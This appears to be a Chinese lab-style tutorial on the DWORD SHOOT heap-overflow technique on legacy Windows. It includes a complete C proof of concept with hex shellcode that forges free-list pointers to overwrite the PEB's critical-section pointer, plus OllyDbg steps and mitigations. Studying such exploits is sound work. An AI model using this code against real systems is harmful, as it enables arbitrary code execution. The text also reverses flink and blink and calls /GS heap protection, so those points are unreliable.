利用DWORD SHOOT实现堆溢出的利用
字数 1754 2025-08-06 08:35:16

DWORD SHOOT堆溢出利用技术详解

1. DWORD SHOOT概念

DWORD SHOOT是一种内存任意写技术,能够向内存任意位置写入任意数据。1个DWORD=4个字节,即可以通过执行程序将4字节的数据写入4字节地址中,从而实现某种恶意操作。

关键特性:

  • 允许向任意内存地址写入任意4字节数据
  • 常用于修改关键函数指针或数据结构
  • 通常通过堆溢出等技术实现

2. PEB中的线程同步函数指针

在每个进程的PEB(Process Environment Block)中存放着一对关键同步函数指针:

  • RtlEnterCriticalSection()函数指针位于0x7FFDF020
  • RtlLeaveCriticalSection()函数指针位于0x7FFDF024

这些指针在进程退出时会被ExitProcess()调用。如果通过DWORD SHOOT修改这些指针指向Shellcode地址,在进程退出时就会执行Shellcode。

3. 堆管理机制

3.1 堆表结构

堆区使用堆表管理堆块,主要分为两种:

  1. 空表(空闲双向链表)
  2. 单表

本文主要涉及空表利用。

3.2 空表管理

空表分为128条,标识为free[0]到free[127]:

  • free[0]管理大于127*8字节的大堆块
  • free[1]到free[127]分别管理8字节到1016字节(127*8)的堆块
  • 每条空表是一个双向链表,管理相同或相似大小的空闲堆块

初始状态下,只有一个大空闲堆块由free[0]管理。申请堆块时从free[0]分割,释放的小堆块根据大小存入相应free[n]。

3.3 堆块结构

空闲堆块包含两个重要指针:

  1. 前向指针(flink):指向链表中前一个空闲堆块
  2. 后向指针(blink):指向链表中后一个空闲堆块

当从链表中分配一个堆块时,链表会执行如下操作:

node->blink->flink = node->flink
node->flink->blink = node->blink

4. 堆溢出利用原理

4.1 基本思路

通过堆溢出覆盖下一个待分配空闲堆块的前后向指针:

  1. 将后向指针修改为目标地址(如0x7FFDF020)
  2. 将前向指针修改为Shellcode地址

当分配该堆块时,链表操作会将Shellcode地址写入目标地址。

4.2 具体流程

  1. 申请堆块h1并溢出覆盖相邻空闲堆块的前后向指针
  2. 申请新堆块h2时触发链表操作
  3. 链表操作将Shellcode地址写入RtlEnterCriticalSection指针位置
  4. 进程退出时调用ExitProcess()
  5. ExitProcess()调用被修改的RtlEnterCriticalSection指针
  6. 执行Shellcode

5. 实践步骤

5.1 示例代码

#include <windows.h>

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90" // 修复被堆溢出修改的指针
"\xB8\x20\xF0\xFD\x7F" // MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77" // MOV EBX,77F82060 (需调试确定)
"\x89\x18" // MOV DWORD PTR DS:[EAX],EBX
// 下面是实际的Shellcode
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x30\x60\x40\x00\x20\xf0\xfd\x7f"; // 前向指针指向Shellcode,后向指针指向7FFDF020

int main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0, 0x1000, 0x10000);
    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
    __asm int 3 // 调试中断
    memcpy(h1, shellcode, 0x200); // 堆溢出
    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
    return 0;
}

5.2 调试步骤

  1. 在VC6.0中设置调试器为OllyDbg
  2. 编译执行,触发int 3中断
  3. 在OllyDbg中查看堆块结构:
    • 0x360680是堆块起始位置
    • 前208字节是h1堆块(包含8字节头部)
  4. 单步执行到memcpy完成
  5. 确定Shellcode入口地址(如0x00406030)
  6. 查找0x7FFDF020处存储的原函数地址(如0x77F82060)
  7. 更新Shellcode中的修复代码(MOV EBX,77F82060)
  8. 注释掉int 3指令,重新编译执行

5.3 Shellcode结构

Shellcode包含多个部分:

  1. NOP雪橇(可选)
  2. 指针修复代码(恢复RtlEnterCriticalSection指针)
  3. 实际功能代码(如弹窗)
  4. 溢出数据:
    • 前向指针(指向Shellcode)
    • 后向指针(指向0x7FFDF020)

6. 关键注意事项

  1. 调试堆与非调试堆的管理策略不同,需要使用int 3中断来避免调试堆的影响
  2. Shellcode地址和原函数地址需要根据实际调试结果调整
  3. 堆块大小计算需要考虑8字节的头部开销
  4. 不同Windows版本PEB结构可能不同,需重新定位关键指针
  5. 现代操作系统通常有防护机制(如ASLR)会阻碍此类攻击

7. 防护措施

  1. 使用安全函数替代不安全的memcpy等
  2. 启用堆保护机制(/GS编译选项)
  3. 实现堆完整性检查
  4. 使用DEP(数据执行保护)
  5. 启用ASLR(地址空间布局随机化)

通过理解DWORD SHOOT和堆溢出原理,可以更好地防御此类攻击并开发更安全的软件。

DWORD SHOOT堆溢出利用技术详解 1. DWORD SHOOT概念 DWORD SHOOT是一种内存任意写技术,能够向内存任意位置写入任意数据。1个DWORD=4个字节,即可以通过执行程序将4字节的数据写入4字节地址中,从而实现某种恶意操作。 关键特性: 允许向任意内存地址写入任意4字节数据 常用于修改关键函数指针或数据结构 通常通过堆溢出等技术实现 2. PEB中的线程同步函数指针 在每个进程的PEB(Process Environment Block)中存放着一对关键同步函数指针: RtlEnterCriticalSection() 函数指针位于0x7FFDF020 RtlLeaveCriticalSection() 函数指针位于0x7FFDF024 这些指针在进程退出时会被 ExitProcess() 调用。如果通过DWORD SHOOT修改这些指针指向Shellcode地址,在进程退出时就会执行Shellcode。 3. 堆管理机制 3.1 堆表结构 堆区使用堆表管理堆块,主要分为两种: 空表(空闲双向链表) 单表 本文主要涉及空表利用。 3.2 空表管理 空表分为128条,标识为free[ 0]到free[ 127 ]: free[ 0]管理大于127* 8字节的大堆块 free[ 1]到free[ 127]分别管理8字节到1016字节(127* 8)的堆块 每条空表是一个双向链表,管理相同或相似大小的空闲堆块 初始状态下,只有一个大空闲堆块由free[ 0]管理。申请堆块时从free[ 0]分割,释放的小堆块根据大小存入相应free[ n ]。 3.3 堆块结构 空闲堆块包含两个重要指针: 前向指针(flink):指向链表中前一个空闲堆块 后向指针(blink):指向链表中后一个空闲堆块 当从链表中分配一个堆块时,链表会执行如下操作: 4. 堆溢出利用原理 4.1 基本思路 通过堆溢出覆盖下一个待分配空闲堆块的前后向指针: 将后向指针修改为目标地址(如0x7FFDF020) 将前向指针修改为Shellcode地址 当分配该堆块时,链表操作会将Shellcode地址写入目标地址。 4.2 具体流程 申请堆块h1并溢出覆盖相邻空闲堆块的前后向指针 申请新堆块h2时触发链表操作 链表操作将Shellcode地址写入RtlEnterCriticalSection指针位置 进程退出时调用ExitProcess() ExitProcess()调用被修改的RtlEnterCriticalSection指针 执行Shellcode 5. 实践步骤 5.1 示例代码 5.2 调试步骤 在VC6.0中设置调试器为OllyDbg 编译执行,触发int 3中断 在OllyDbg中查看堆块结构: 0x360680是堆块起始位置 前208字节是h1堆块(包含8字节头部) 单步执行到memcpy完成 确定Shellcode入口地址(如0x00406030) 查找0x7FFDF020处存储的原函数地址(如0x77F82060) 更新Shellcode中的修复代码(MOV EBX,77F82060) 注释掉int 3指令,重新编译执行 5.3 Shellcode结构 Shellcode包含多个部分: NOP雪橇(可选) 指针修复代码(恢复RtlEnterCriticalSection指针) 实际功能代码(如弹窗) 溢出数据: 前向指针(指向Shellcode) 后向指针(指向0x7FFDF020) 6. 关键注意事项 调试堆与非调试堆的管理策略不同,需要使用int 3中断来避免调试堆的影响 Shellcode地址和原函数地址需要根据实际调试结果调整 堆块大小计算需要考虑8字节的头部开销 不同Windows版本PEB结构可能不同,需重新定位关键指针 现代操作系统通常有防护机制(如ASLR)会阻碍此类攻击 7. 防护措施 使用安全函数替代不安全的memcpy等 启用堆保护机制(/GS编译选项) 实现堆完整性检查 使用DEP(数据执行保护) 启用ASLR(地址空间布局随机化) 通过理解DWORD SHOOT和堆溢出原理,可以更好地防御此类攻击并开发更安全的软件。